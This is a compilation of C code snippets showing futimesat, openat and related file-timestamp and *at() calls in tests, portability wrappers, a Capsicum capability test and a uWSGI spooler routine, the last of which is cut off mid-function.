void test_create_file_at() { char *file = alloc_filename("file"); char *hardlink = alloc_filename("hardlink"); char *hardlink2 = alloc_filename("hardlink2"); int dir_fd = get_dir_fd("."); struct stat st; int fd = openat(dir_fd, file, O_CREAT | O_WRONLY | O_EXCL, 0777); t_check(fd >= 0); t_check_zero(fstat(fd, &st)); t_check_zero(close(fd)); t_check_zero(fstatat(dir_fd, file, &st, 0)); t_check_zero(faccessat(dir_fd, file, R_OK | W_OK, 0)); t_check_zero(fchmodat(dir_fd, file, 0777, 0)); t_check_zero(fchownat(dir_fd, file, -1, -1, 0)); struct timeval times[2] = { { 123, 321 }, { 456, 654 } }; t_check_zero(futimesat(dir_fd, file, times)); t_check_zero(linkat(dir_fd, file, dir_fd, hardlink, 0)); t_check_zero(renameat(dir_fd, hardlink, dir_fd, hardlink2)); t_check_zero(unlinkat(dir_fd, hardlink2, 0)); t_check_zero(unlinkat(dir_fd, file, 0)); close(dir_fd); free(file); free(hardlink); free(hardlink2); }
int main() { struct stat st; struct stat st2; openat(AT_FDCWD, PWD "openat.txt", O_CREAT | O_WRONLY, 0644); assert(stat("openat.txt", &st) == 0); // relative path assert(faccessat(AT_FDCWD, PWD "openat.txt", F_OK, 0) == 0); assert(fstatat(AT_FDCWD, PWD "openat.txt", &st2, 0) == 0); assert(fchmodat(AT_FDCWD, PWD "openat.txt", 0777, 0) == 0); struct timeval my_times[2]; my_times[0].tv_sec = 0; my_times[0].tv_usec = 0; my_times[1].tv_sec = 0; my_times[1].tv_usec = 0; assert(futimesat(AT_FDCWD, PWD "openat.txt", my_times, 0) == 0); // see /etc/passwd, user 'pgbovine' is 508:100 assert(fchownat(AT_FDCWD, PWD "openat.txt", 508, 100, 0) == 0); assert(linkat(AT_FDCWD, PWD "openat.txt", AT_FDCWD, PWD "openat_hardlink.txt", 0) == 0); assert(stat("openat_hardlink.txt", &st) == 0); // relative path assert(symlinkat(PWD "openat.txt", AT_FDCWD, PWD "openat_symlink.txt") == 0); assert(lstat("openat_symlink.txt", &st) == 0); // relative path char res[300]; assert(readlinkat(AT_FDCWD, PWD "openat_symlink.txt", res, sizeof(res)) > 0); assert(renameat(AT_FDCWD, PWD "openat.txt", AT_FDCWD, PWD "openat_newname.txt", 0) == 0); assert(stat("openat.txt", &st) != 0); // should not exist anymore assert(stat("openat_newname.txt", &st) == 0); // relative path unlinkat(AT_FDCWD, PWD "openat_newname.txt", 0); unlinkat(AT_FDCWD, PWD "openat_hardlink.txt", 0); unlinkat(AT_FDCWD, PWD "openat_symlink.txt", 0); mknodat(AT_FDCWD, PWD "mknodat.fifo", S_IFIFO); assert(stat("mknodat.fifo", &st) == 0); // relative path unlinkat(AT_FDCWD, PWD "mknodat.fifo", 0); mkdirat(AT_FDCWD, PWD "mkdirat_dir", 0); assert(stat("mkdirat_dir", &st) == 0); // relative path unlinkat(AT_FDCWD, PWD "mkdirat_dir", AT_REMOVEDIR); // like 'rmdir' return 0; }
void fallback(int f, struct stat* st) { #if HAVE_FUTIMENS struct timespec tv[2]; #else struct timeval tv[2]; #endif int ret; #if HAVE_FUTIMENS /* futimens() is preferred because it gives nanosecond precision */ tv[0].tv_sec = st->st_mtime; if (STAT_NSEC(st) != STAT_NSEC_INVALID) tv[0].tv_nsec = STAT_NSEC(st); else tv[0].tv_nsec = 0; tv[1].tv_sec = tv[0].tv_sec; tv[1].tv_nsec = tv[0].tv_nsec; ret = futimens(f, tv); #elif HAVE_FUTIMES /* fallback to futimes() if nanosecond precision is not available */ tv[0].tv_sec = st->st_mtime; if (STAT_NSEC(st) != STAT_NSEC_INVALID) tv[0].tv_usec = STAT_NSEC(st) / 1000; else tv[0].tv_usec = 0; tv[1].tv_sec = tv[0].tv_sec; tv[1].tv_usec = tv[0].tv_usec; ret = futimes(f, tv); #elif HAVE_FUTIMESAT /* fallback to futimesat() for Solaris, it only has futimesat() */ tv[0].tv_sec = st->st_mtime; if (STAT_NSEC(st) != STAT_NSEC_INVALID) tv[0].tv_usec = STAT_NSEC(st) / 1000; else tv[0].tv_usec = 0; tv[1].tv_sec = tv[0].tv_sec; tv[1].tv_usec = tv[0].tv_usec; ret = futimesat(f, 0, tv); #else #error No function available to set file timestamps #endif if (ret != 0) { /* LCOV_EXCL_START */ fprintf(stderr, "Error restoring time\n"); exit(EXIT_FAILURE); /* LCOV_EXCL_STOP */ } }
int fallback(int f, struct stat* st) { #if HAVE_FUTIMENS struct timespec tv[2]; #else struct timeval tv[2]; #endif int ret; #if HAVE_FUTIMENS /* futimens() is preferred because it gives nanosecond precision */ tv[0].tv_sec = st->st_mtime; if (STAT_NSEC(st) != STAT_NSEC_INVALID) tv[0].tv_nsec = STAT_NSEC(st); else tv[0].tv_nsec = 0; tv[1].tv_sec = tv[0].tv_sec; tv[1].tv_nsec = tv[0].tv_nsec; ret = futimens(f, tv); #elif HAVE_FUTIMES /* fallback to futimes() if nanosecond precision is not available */ tv[0].tv_sec = st->st_mtime; if (STAT_NSEC(st) != STAT_NSEC_INVALID) tv[0].tv_usec = STAT_NSEC(st) / 1000; else tv[0].tv_usec = 0; tv[1].tv_sec = tv[0].tv_sec; tv[1].tv_usec = tv[0].tv_usec; ret = futimes(f, tv); #elif HAVE_FUTIMESAT /* fallback to futimesat() for Solaris, it only has futimesat() */ tv[0].tv_sec = st->st_mtime; if (STAT_NSEC(st) != STAT_NSEC_INVALID) tv[0].tv_usec = STAT_NSEC(st) / 1000; else tv[0].tv_usec = 0; tv[1].tv_sec = tv[0].tv_sec; tv[1].tv_usec = tv[0].tv_usec; ret = futimesat(f, 0, tv); #else #error No function available to set file timestamps #endif return ret; }
/* Older glibc ( < 2.6) doesn't have utimensat, but we can wrap it pretty * easily with a lesser accurate futimesat */ int utimensat(int dfd, const char *pathname, const struct timespec times[2], int flags) { struct timeval tvs[2]; if(flags) {} #if __NR_utimensat if(syscall(__NR_utimensat, dfd, pathname, times, flags) == 0) return 0; /* If the syscall isn't supported, fallback to futimesat */ if(errno != ENOSYS) return -1; #endif tvs[0].tv_sec = times[0].tv_sec; tvs[0].tv_usec = times[0].tv_nsec / 1000; tvs[1].tv_sec = times[1].tv_sec; tvs[1].tv_usec = times[1].tv_nsec / 1000; return futimesat(dfd, pathname, tvs); }
static ssize_t uv__fs_futime(uv_fs_t* req) { #if defined(__linux__) \ || defined(_AIX71) /* utimesat() has nanosecond resolution but we stick to microseconds * for the sake of consistency with other platforms. */ struct timespec ts[2]; ts[0].tv_sec = req->atime; ts[0].tv_nsec = (uint64_t)(req->atime * 1000000) % 1000000 * 1000; ts[1].tv_sec = req->mtime; ts[1].tv_nsec = (uint64_t)(req->mtime * 1000000) % 1000000 * 1000; return futimens(req->file, ts); #elif defined(__APPLE__) \ || defined(__DragonFly__) \ || defined(__FreeBSD__) \ || defined(__FreeBSD_kernel__) \ || defined(__NetBSD__) \ || defined(__OpenBSD__) \ || defined(__sun) struct timeval tv[2]; tv[0].tv_sec = req->atime; tv[0].tv_usec = (uint64_t)(req->atime * 1000000) % 1000000; tv[1].tv_sec = req->mtime; tv[1].tv_usec = (uint64_t)(req->mtime * 1000000) % 1000000; # if defined(__sun) return futimesat(req->file, NULL, tv); # else return futimes(req->file, tv); # endif #elif defined(__MVS__) attrib_t atr; memset(&atr, 0, sizeof(atr)); atr.att_mtimechg = 1; atr.att_atimechg = 1; atr.att_mtime = req->mtime; atr.att_atime = req->atime; return __fchattr(req->file, &atr, sizeof(atr)); #else errno = ENOSYS; return -1; #endif }
int nix_futimes(int fd, struct nix_timeval const *times, nix_env_t *env) { struct timeval ntimes[2]; int rfd; int rc; XEC_LOG(g_nix_log, XEC_LOG_DEBUG, 0, "fd=%d, times={ %llu, %llu }", fd, times->tv_sec, times->tv_usec); if (times == NULL) { nix_env_set_errno(env, EFAULT); return (-1); } if ((rfd = nix_fd_get(fd)) < 0) { nix_env_set_errno(env, EBADF); return (-1); } ntimes[0].tv_sec = times[0].tv_sec; ntimes[0].tv_usec = times[0].tv_usec; ntimes[1].tv_sec = times[1].tv_sec; ntimes[1].tv_usec = times[1].tv_usec; #if defined(HAVE_FUTIMES) rc = futimes(rfd, ntimes); #elif defined(HAVE_FUTIMESAT) rc = futimesat(rfd, NULL, ntimes); #else rc = -1; errno = ENOSYS; #endif if (rc != 0) { nix_env_set_errno(env, errno); return (-1); } return (0); }
int fdutimens (int fd, char const *file, struct timespec const timespec[2]) { struct timespec adjusted_timespec[2]; struct timespec *ts = timespec ? adjusted_timespec : NULL; int adjustment_needed = 0; struct stat st; if (ts) { adjusted_timespec[0] = timespec[0]; adjusted_timespec[1] = timespec[1]; adjustment_needed = validate_timespec (ts); } if (adjustment_needed < 0) return -1; /* Require that at least one of FD or FILE are potentially valid, to avoid a Linux bug where futimens (AT_FDCWD, NULL) changes "." rather than failing. */ if (fd < 0 && !file) { errno = EBADF; return -1; } /* Some Linux-based NFS clients are buggy, and mishandle time stamps of files in NFS file systems in some cases. We have no configure-time test for this, but please see <http://bugs.gentoo.org/show_bug.cgi?id=132673> for references to some of the problems with Linux 2.6.16. If this affects you, compile with -DHAVE_BUGGY_NFS_TIME_STAMPS; this is reported to help in some cases, albeit at a cost in performance. But you really should upgrade your kernel to a fixed version, since the problem affects many applications. */ #if HAVE_BUGGY_NFS_TIME_STAMPS if (fd < 0) sync (); else fsync (fd); #endif /* POSIX 2008 added two interfaces to set file timestamps with nanosecond resolution; newer Linux implements both functions via a single syscall. We provide a fallback for ENOSYS (for example, compiling against Linux 2.6.25 kernel headers and glibc 2.7, but running on Linux 2.6.18 kernel). */ #if HAVE_UTIMENSAT || HAVE_FUTIMENS if (0 <= utimensat_works_really) { int result; # if __linux__ /* As recently as Linux kernel 2.6.32 (Dec 2009), several file systems (xfs, ntfs-3g) have bugs with a single UTIME_OMIT, but work if both times are either explicitly specified or UTIME_NOW. Work around it with a preparatory [f]stat prior to calling futimens/utimensat; fortunately, there is not much timing impact due to the extra syscall even on file systems where UTIME_OMIT would have worked. FIXME: Simplify this in 2012, when file system bugs are no longer common. */ if (adjustment_needed == 2) { if (fd < 0 ? stat (file, &st) : fstat (fd, &st)) return -1; if (ts[0].tv_nsec == UTIME_OMIT) ts[0] = get_stat_atime (&st); else if (ts[1].tv_nsec == UTIME_OMIT) ts[1] = get_stat_mtime (&st); /* Note that st is good, in case utimensat gives ENOSYS. */ adjustment_needed++; } # endif /* __linux__ */ # if HAVE_UTIMENSAT if (fd < 0) { result = utimensat (AT_FDCWD, file, ts, 0); # ifdef __linux__ /* Work around a kernel bug: http://bugzilla.redhat.com/442352 http://bugzilla.redhat.com/449910 It appears that utimensat can mistakenly return 280 rather than -1 upon ENOSYS failure. FIXME: remove in 2010 or whenever the offending kernels are no longer in common use. */ if (0 < result) errno = ENOSYS; # endif /* __linux__ */ if (result == 0 || errno != ENOSYS) { utimensat_works_really = 1; return result; } } # endif /* HAVE_UTIMENSAT */ # if HAVE_FUTIMENS if (0 <= fd) { result = futimens (fd, ts); # ifdef __linux__ /* Work around the same bug as above. */ if (0 < result) errno = ENOSYS; # endif /* __linux__ */ if (result == 0 || errno != ENOSYS) { utimensat_works_really = 1; return result; } } # endif /* HAVE_FUTIMENS */ } utimensat_works_really = -1; lutimensat_works_really = -1; #endif /* HAVE_UTIMENSAT || HAVE_FUTIMENS */ /* The platform lacks an interface to set file timestamps with nanosecond resolution, so do the best we can, discarding any fractional part of the timestamp. */ if (adjustment_needed || (REPLACE_FUNC_STAT_FILE && fd < 0)) { if (adjustment_needed != 3 && (fd < 0 ? stat (file, &st) : fstat (fd, &st))) return -1; if (ts && update_timespec (&st, &ts)) return 0; } { #if HAVE_FUTIMESAT || HAVE_WORKING_UTIMES struct timeval timeval[2]; struct timeval *t; if (ts) { timeval[0].tv_sec = ts[0].tv_sec; timeval[0].tv_usec = ts[0].tv_nsec / 1000; timeval[1].tv_sec = ts[1].tv_sec; timeval[1].tv_usec = ts[1].tv_nsec / 1000; t = timeval; } else t = NULL; if (fd < 0) { # if HAVE_FUTIMESAT return futimesat (AT_FDCWD, file, t); # endif } else { /* If futimesat or futimes fails here, don't try to speed things up by returning right away. glibc can incorrectly fail with errno == ENOENT if /proc isn't mounted. Also, Mandrake 10.0 in high security mode doesn't allow ordinary users to read /proc/self, so glibc incorrectly fails with errno == EACCES. If errno == EIO, EPERM, or EROFS, it's probably safe to fail right away, but these cases are rare enough that they're not worth optimizing, and who knows what other messed-up systems are out there? So play it safe and fall back on the code below. */ # if (HAVE_FUTIMESAT && !FUTIMESAT_NULL_BUG) || HAVE_FUTIMES # if HAVE_FUTIMESAT && !FUTIMESAT_NULL_BUG # undef futimes # define futimes(fd, t) futimesat (fd, NULL, t) # endif if (futimes (fd, t) == 0) { # if __linux__ && __GLIBC__ /* Work around a longstanding glibc bug, still present as of 2010-12-27. On older Linux kernels that lack both utimensat and utimes, glibc's futimes rounds instead of truncating when falling back on utime. The same bug occurs in futimesat with a null 2nd arg. */ if (t) { bool abig = 500000 <= t[0].tv_usec; bool mbig = 500000 <= t[1].tv_usec; if ((abig | mbig) && fstat (fd, &st) == 0) { /* If these two subtractions overflow, they'll track the overflows inside the buggy glibc. */ time_t adiff = st.st_atime - t[0].tv_sec; time_t mdiff = st.st_mtime - t[1].tv_sec; struct timeval *tt = NULL; struct timeval truncated_timeval[2]; truncated_timeval[0] = t[0]; truncated_timeval[1] = t[1]; if (abig && adiff == 1 && get_stat_atime_ns (&st) == 0) { tt = truncated_timeval; tt[0].tv_usec = 0; } if (mbig && mdiff == 1 && get_stat_mtime_ns (&st) == 0) { tt = truncated_timeval; tt[1].tv_usec = 0; } if (tt) futimes (fd, tt); } } # endif return 0; } # endif } #endif /* HAVE_FUTIMESAT || HAVE_WORKING_UTIMES */ if (!file) { #if ! ((HAVE_FUTIMESAT && !FUTIMESAT_NULL_BUG) \ || (HAVE_WORKING_UTIMES && HAVE_FUTIMES)) errno = ENOSYS; #endif return -1; } #if HAVE_WORKING_UTIMES return utimes (file, t); #else { struct utimbuf utimbuf; struct utimbuf *ut; if (ts) { utimbuf.actime = ts[0].tv_sec; utimbuf.modtime = ts[1].tv_sec; ut = &utimbuf; } else ut = NULL; return utime (file, ut); } #endif /* !HAVE_WORKING_UTIMES */ } }
/* * Given a file descriptor, create a capability with specific rights and * make sure only those rights work. */ static int try_file_ops(int filefd, int dirfd, cap_rights_t rights) { struct stat sb; struct statfs sf; cap_rights_t erights; int fd_cap, fd_capcap, dfd_cap; ssize_t ssize, ssize2; off_t off; void *p; char ch; int ret, is_nfs; struct pollfd pollfd; int success = -1; REQUIRE(fstatfs(filefd, &sf)); is_nfs = (strcmp("nfs", sf.f_fstypename) == 0); REQUIRE(fd_cap = cap_new(filefd, rights)); CHECK(cap_getrights(fd_cap, &erights) == 0); CHECK(rights == erights); REQUIRE(fd_capcap = cap_new(fd_cap, rights)); CHECK(cap_getrights(fd_capcap, &erights) == 0); CHECK(rights == erights); CHECK(fd_capcap != fd_cap); REQUIRE(dfd_cap = cap_new(dirfd, rights)); CHECK(cap_getrights(dfd_cap, &erights) == 0); CHECK(rights == erights); ssize = read(fd_cap, &ch, sizeof(ch)); CHECK_RESULT(read, CAP_READ, ssize >= 0); ssize = write(fd_cap, &ch, sizeof(ch)); CHECK_RESULT(write, CAP_WRITE, ssize >= 0); off = lseek(fd_cap, 0, SEEK_SET); CHECK_RESULT(lseek, CAP_SEEK, off >= 0); ssize = pread(fd_cap, &ch, sizeof(ch), 0); ssize2 = pread(fd_cap, &ch, sizeof(ch), 0); CHECK_RESULT(pread, CAP_PREAD, ssize >= 0); CHECK(ssize == ssize2); ssize = pwrite(fd_cap, &ch, sizeof(ch), 0); CHECK_RESULT(pwrite, CAP_PWRITE, ssize >= 0); p = mmap(NULL, getpagesize(), PROT_NONE, MAP_SHARED, fd_cap, 0); CHECK_MMAP_RESULT(CAP_MMAP); p = mmap(NULL, getpagesize(), PROT_READ, MAP_SHARED, fd_cap, 0); CHECK_MMAP_RESULT(CAP_MMAP_R); p = mmap(NULL, getpagesize(), PROT_WRITE, MAP_SHARED, fd_cap, 0); CHECK_MMAP_RESULT(CAP_MMAP_W); p = mmap(NULL, getpagesize(), PROT_EXEC, MAP_SHARED, fd_cap, 0); CHECK_MMAP_RESULT(CAP_MMAP_X); p = mmap(NULL, getpagesize(), PROT_READ | PROT_WRITE, MAP_SHARED, fd_cap, 0); CHECK_MMAP_RESULT(CAP_MMAP_RW); p = mmap(NULL, getpagesize(), PROT_READ | PROT_EXEC, MAP_SHARED, fd_cap, 0); CHECK_MMAP_RESULT(CAP_MMAP_RX); p = mmap(NULL, getpagesize(), PROT_EXEC | PROT_WRITE, MAP_SHARED, fd_cap, 0); CHECK_MMAP_RESULT(CAP_MMAP_WX); p = mmap(NULL, getpagesize(), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED, fd_cap, 0); CHECK_MMAP_RESULT(CAP_MMAP_RWX); ret = openat(dfd_cap, "cap_create", O_CREAT | O_RDONLY, 0600); CHECK_RESULT(openat(O_CREATE | O_RDONLY), CAP_CREATE | CAP_READ | CAP_LOOKUP, ret >= 0); CHECK(ret == -1 || close(ret) == 0); CHECK(ret == -1 || unlinkat(dirfd, "cap_create", 0) == 0); ret = openat(dfd_cap, "cap_create", O_CREAT | O_WRONLY | O_APPEND, 0600); CHECK_RESULT(openat(O_CREATE | O_WRONLY | O_APPEND), CAP_CREATE | CAP_WRITE | CAP_LOOKUP, ret >= 0); CHECK(ret == -1 || close(ret) == 0); CHECK(ret == -1 || unlinkat(dirfd, "cap_create", 0) == 0); ret = openat(dfd_cap, "cap_create", O_CREAT | O_RDWR | O_APPEND, 0600); CHECK_RESULT(openat(O_CREATE | O_RDWR | O_APPEND), CAP_CREATE | CAP_READ | CAP_WRITE | CAP_LOOKUP, ret >= 0); CHECK(ret == -1 || close(ret) == 0); CHECK(ret == -1 || unlinkat(dirfd, "cap_create", 0) == 0); ret = fsync(fd_cap); CHECK_RESULT(fsync, CAP_FSYNC, ret == 0); ret = openat(dirfd, "cap_fsync", O_CREAT, 0600); CHECK(ret >= 0); CHECK(close(ret) == 0); ret = openat(dfd_cap, "cap_fsync", O_FSYNC | O_RDONLY); CHECK_RESULT(openat(O_FSYNC | O_RDONLY), CAP_FSYNC | CAP_READ | CAP_LOOKUP, ret >= 0); CHECK(ret == -1 || close(ret) == 0); ret = openat(dfd_cap, "cap_fsync", O_FSYNC | O_WRONLY | O_APPEND); CHECK_RESULT(openat(O_FSYNC | O_WRONLY | O_APPEND), CAP_FSYNC | CAP_WRITE | CAP_LOOKUP, ret >= 0); CHECK(ret == -1 || close(ret) == 0); ret = openat(dfd_cap, "cap_fsync", O_FSYNC | O_RDWR | O_APPEND); CHECK_RESULT(openat(O_FSYNC | O_RDWR | O_APPEND), CAP_FSYNC | CAP_READ | CAP_WRITE | CAP_LOOKUP, ret >= 0); CHECK(ret == -1 || close(ret) == 0); ret = openat(dfd_cap, "cap_fsync", O_SYNC | O_RDONLY); CHECK_RESULT(openat(O_SYNC | O_RDONLY), CAP_FSYNC | CAP_READ | CAP_LOOKUP, ret >= 0); CHECK(ret == -1 || close(ret) == 0); ret = openat(dfd_cap, "cap_fsync", O_SYNC | O_WRONLY | O_APPEND); CHECK_RESULT(openat(O_SYNC | O_WRONLY | O_APPEND), CAP_FSYNC | CAP_WRITE | CAP_LOOKUP, ret >= 0); CHECK(ret == -1 || close(ret) == 0); ret = openat(dfd_cap, "cap_fsync", O_SYNC | O_RDWR | O_APPEND); CHECK_RESULT(openat(O_SYNC | O_RDWR | O_APPEND), CAP_FSYNC | CAP_READ | CAP_WRITE | CAP_LOOKUP, ret >= 0); CHECK(ret == -1 || close(ret) == 0); CHECK(unlinkat(dirfd, "cap_fsync", 0) == 0); ret = ftruncate(fd_cap, 0); CHECK_RESULT(ftruncate, CAP_FTRUNCATE, ret == 0); ret = openat(dirfd, "cap_ftruncate", O_CREAT, 0600); CHECK(ret >= 0); CHECK(close(ret) == 0); ret = openat(dfd_cap, "cap_ftruncate", O_TRUNC | O_RDONLY); CHECK_RESULT(openat(O_TRUNC | O_RDONLY), CAP_FTRUNCATE | CAP_READ | CAP_LOOKUP, ret >= 0); CHECK(ret == -1 || close(ret) == 0); ret = openat(dfd_cap, "cap_ftruncate", O_TRUNC | O_WRONLY); CHECK_RESULT(openat(O_TRUNC | O_WRONLY), CAP_FTRUNCATE | CAP_WRITE | CAP_LOOKUP, ret >= 0); CHECK(ret == -1 || close(ret) == 0); ret = openat(dfd_cap, "cap_ftruncate", O_TRUNC | O_RDWR); CHECK_RESULT(openat(O_TRUNC | O_RDWR), CAP_FTRUNCATE | CAP_READ | CAP_WRITE | CAP_LOOKUP, ret >= 0); CHECK(ret == -1 || close(ret) == 0); CHECK(unlinkat(dirfd, "cap_ftruncate", 0) == 0); ret = openat(dfd_cap, "cap_create", O_CREAT | O_WRONLY, 0600); CHECK_RESULT(openat(O_CREATE | O_WRONLY), CAP_CREATE | CAP_WRITE | CAP_SEEK | CAP_LOOKUP, ret >= 0); CHECK(ret == -1 || close(ret) == 0); CHECK(ret == -1 || unlinkat(dirfd, "cap_create", 0) == 0); ret = openat(dfd_cap, "cap_create", O_CREAT | O_RDWR, 0600); CHECK_RESULT(openat(O_CREATE | O_RDWR), CAP_CREATE | CAP_READ | CAP_WRITE | CAP_SEEK | CAP_LOOKUP, ret >= 0); CHECK(ret == -1 || close(ret) == 0); CHECK(ret == -1 || unlinkat(dirfd, "cap_create", 0) == 0); ret = openat(dirfd, "cap_fsync", O_CREAT, 0600); CHECK(ret >= 0); CHECK(close(ret) == 0); ret = openat(dfd_cap, "cap_fsync", O_FSYNC | O_WRONLY); CHECK_RESULT(openat(O_FSYNC | O_WRONLY), CAP_FSYNC | CAP_WRITE | CAP_SEEK | CAP_LOOKUP, ret >= 0); CHECK(ret == -1 || close(ret) == 0); ret = openat(dfd_cap, "cap_fsync", O_FSYNC | O_RDWR); CHECK_RESULT(openat(O_FSYNC | O_RDWR), CAP_FSYNC | CAP_READ | CAP_WRITE | CAP_SEEK | CAP_LOOKUP, ret >= 0); CHECK(ret == -1 || close(ret) == 0); ret = openat(dfd_cap, "cap_fsync", O_SYNC | O_WRONLY); CHECK_RESULT(openat(O_SYNC | O_WRONLY), CAP_FSYNC | CAP_WRITE | CAP_SEEK | CAP_LOOKUP, ret >= 0); CHECK(ret == -1 || close(ret) == 0); ret = openat(dfd_cap, "cap_fsync", O_SYNC | O_RDWR); CHECK_RESULT(openat(O_SYNC | O_RDWR), CAP_FSYNC | CAP_READ | CAP_WRITE | CAP_SEEK | CAP_LOOKUP, ret >= 0); CHECK(ret == -1 || close(ret) == 0); CHECK(unlinkat(dirfd, "cap_fsync", 0) == 0); /* * Note: this is not expected to work over NFS. */ ret = fchflags(fd_cap, UF_NODUMP); CHECK_RESULT(fchflags, CAP_FCHFLAGS, ret == 0 || (is_nfs && errno == EOPNOTSUPP)); ret = openat(dirfd, "cap_chflagsat", O_CREAT, 0600); CHECK(ret >= 0); CHECK(close(ret) == 0); ret = chflagsat(dfd_cap, "cap_chflagsat", UF_NODUMP, 0); CHECK_RESULT(chflagsat, CAP_CHFLAGSAT | CAP_LOOKUP, ret == 0); CHECK(unlinkat(dirfd, "cap_chflagsat", 0) == 0); ret = fchown(fd_cap, -1, -1); CHECK_RESULT(fchown, CAP_FCHOWN, ret == 0); ret = openat(dirfd, "cap_fchownat", O_CREAT, 0600); CHECK(ret >= 0); CHECK(close(ret) == 0); ret = fchownat(dfd_cap, "cap_fchownat", -1, -1, 0); CHECK_RESULT(fchownat, CAP_FCHOWN | CAP_LOOKUP, ret == 0); CHECK(unlinkat(dirfd, "cap_fchownat", 0) == 0); ret = fchmod(fd_cap, 0644); CHECK_RESULT(fchmod, CAP_FCHMOD, ret == 0); ret = openat(dirfd, "cap_fchmodat", O_CREAT, 0600); CHECK(ret >= 0); CHECK(close(ret) == 0); ret = fchmodat(dfd_cap, "cap_fchmodat", 0600, 0); CHECK_RESULT(fchmodat, CAP_FCHMOD | CAP_LOOKUP, ret == 0); CHECK(unlinkat(dirfd, "cap_fchmodat", 0) == 0); ret = fcntl(fd_cap, F_GETFL); CHECK_RESULT(fcntl(F_GETFL), CAP_FCNTL, ret >= 0); ret = fcntl(fd_cap, F_SETFL, ret); CHECK_RESULT(fcntl(F_SETFL), CAP_FCNTL, ret == 0); /* XXX flock */ ret = fstat(fd_cap, &sb); CHECK_RESULT(fstat, CAP_FSTAT, ret == 0); ret = openat(dirfd, "cap_fstatat", O_CREAT, 0600); CHECK(ret >= 0); CHECK(close(ret) == 0); ret = fstatat(dfd_cap, "cap_fstatat", &sb, 0); CHECK_RESULT(fstatat, CAP_FSTAT | CAP_LOOKUP, ret == 0); CHECK(unlinkat(dirfd, "cap_fstatat", 0) == 0); ret = fstatfs(fd_cap, &sf); CHECK_RESULT(fstatfs, CAP_FSTATFS, ret == 0); ret = fpathconf(fd_cap, _PC_NAME_MAX); CHECK_RESULT(fpathconf, CAP_FPATHCONF, ret >= 0); ret = futimes(fd_cap, NULL); CHECK_RESULT(futimes, CAP_FUTIMES, ret == 0); ret = openat(dirfd, "cap_futimesat", O_CREAT, 0600); CHECK(ret >= 0); CHECK(close(ret) == 0); ret = futimesat(dfd_cap, "cap_futimesat", NULL); CHECK_RESULT(futimesat, CAP_FUTIMES | CAP_LOOKUP, ret == 0); CHECK(unlinkat(dirfd, "cap_futimesat", 0) == 0); ret = openat(dirfd, "cap_linkat_src", O_CREAT, 0600); CHECK(ret >= 0); CHECK(close(ret) == 0); ret = linkat(dirfd, "cap_linkat_src", dfd_cap, "cap_linkat_dst", 0); CHECK_RESULT(linkat, CAP_LINKAT | CAP_LOOKUP, ret == 0); CHECK(unlinkat(dirfd, "cap_linkat_src", 0) == 0); CHECK(ret == -1 || unlinkat(dirfd, "cap_linkat_dst", 0) == 0); ret = mkdirat(dfd_cap, "cap_mkdirat", 0700); CHECK_RESULT(mkdirat, CAP_MKDIRAT | CAP_LOOKUP, ret == 0); CHECK(ret == -1 || unlinkat(dirfd, "cap_mkdirat", AT_REMOVEDIR) == 0); ret = mkfifoat(dfd_cap, "cap_mkfifoat", 0600); CHECK_RESULT(mkfifoat, CAP_MKFIFOAT | CAP_LOOKUP, ret == 0); CHECK(ret == -1 || unlinkat(dirfd, "cap_mkfifoat", 0) == 0); ret = mknodat(dfd_cap, "cap_mknodat", S_IFCHR | 0600, 0); CHECK_RESULT(mknodat, CAP_MKNODAT | CAP_LOOKUP, ret == 0); CHECK(ret == -1 || unlinkat(dirfd, "cap_mknodat", 0) == 0); /* TODO: renameat(2) */ ret = symlinkat("test", dfd_cap, "cap_symlinkat"); CHECK_RESULT(symlinkat, CAP_SYMLINKAT | CAP_LOOKUP, ret == 0); CHECK(ret == -1 || unlinkat(dirfd, "cap_symlinkat", 0) == 0); ret = openat(dirfd, "cap_unlinkat", O_CREAT, 0600); CHECK(ret >= 0); CHECK(close(ret) == 0); ret = unlinkat(dfd_cap, "cap_unlinkat", 0); CHECK_RESULT(unlinkat, CAP_UNLINKAT | CAP_LOOKUP, ret == 0); CHECK(ret == 0 || unlinkat(dirfd, "cap_unlinkat", 0) == 0); ret = mkdirat(dirfd, "cap_unlinkat", 0700); CHECK(ret == 0); ret = unlinkat(dfd_cap, "cap_unlinkat", AT_REMOVEDIR); CHECK_RESULT(unlinkat, CAP_UNLINKAT | CAP_LOOKUP, ret == 0); CHECK(ret == 0 || unlinkat(dirfd, "cap_unlinkat", AT_REMOVEDIR) == 0); pollfd.fd = fd_cap; pollfd.events = POLLIN | POLLERR | POLLHUP; pollfd.revents = 0; ret = poll(&pollfd, 1, 0); if (rights & CAP_EVENT) CHECK((pollfd.revents & POLLNVAL) == 0); else CHECK((pollfd.revents & POLLNVAL) != 0); /* XXX: select, kqueue */ close(fd_cap); close(fd_capcap); if (success == -1) { fprintf(stderr, "No tests for rights 0x%jx.\n", (uintmax_t)rights); success = FAILED; } return (success); }
int spool_request(struct uwsgi_spooler *uspool, char *filename, int rn, int core_id, char *buffer, int size, char *priority, time_t at, char *body, size_t body_len) { struct timeval tv; int fd; struct uwsgi_header uh; if (!uspool) { uspool = uwsgi.spoolers; } // this lock is for threads, the pid value in filename will avoid multiprocess races uwsgi_lock(uspool->lock); gettimeofday(&tv, NULL); if (priority) { if (snprintf(filename, 1024, "%s/%s", uspool->dir, priority) <= 0) { uwsgi_unlock(uspool->lock); return 0; } // no need to check for errors... (void) mkdir(filename, 0777); if (snprintf(filename, 1024, "%s/%s/uwsgi_spoolfile_on_%s_%d_%d_%d_%llu_%llu", uspool->dir, priority, uwsgi.hostname, (int) getpid(), rn, core_id, (unsigned long long) tv.tv_sec, (unsigned long long) tv.tv_usec) <= 0) { uwsgi_unlock(uspool->lock); return 0; } } else { if (snprintf(filename, 1024, "%s/uwsgi_spoolfile_on_%s_%d_%d_%d_%llu_%llu", uspool->dir, uwsgi.hostname, (int) getpid(), rn, core_id, (unsigned long long) tv.tv_sec, (unsigned long long) tv.tv_usec) <= 0) { uwsgi_unlock(uspool->lock); return 0; } } fd = open(filename, O_CREAT | O_EXCL | O_WRONLY, S_IRUSR | S_IWUSR); if (fd < 0) { uwsgi_error_open(filename); uwsgi_unlock(uspool->lock); return 0; } // now lock the file, it will no be runnable, until the lock is not removed // a race could come if the spooler take the file before fcntl is called // in such case the spooler will detect a zeroed file and will retry later if (uwsgi_fcntl_lock(fd)) { close(fd); uwsgi_unlock(uspool->lock); return 0; } uh.modifier1 = 17; uh.modifier2 = 0; uh.pktsize = (uint16_t) size; #ifdef __BIG_ENDIAN__ uh.pktsize = uwsgi_swap16(uh.pktsize); #endif if (write(fd, &uh, 4) != 4) { goto clear; } if 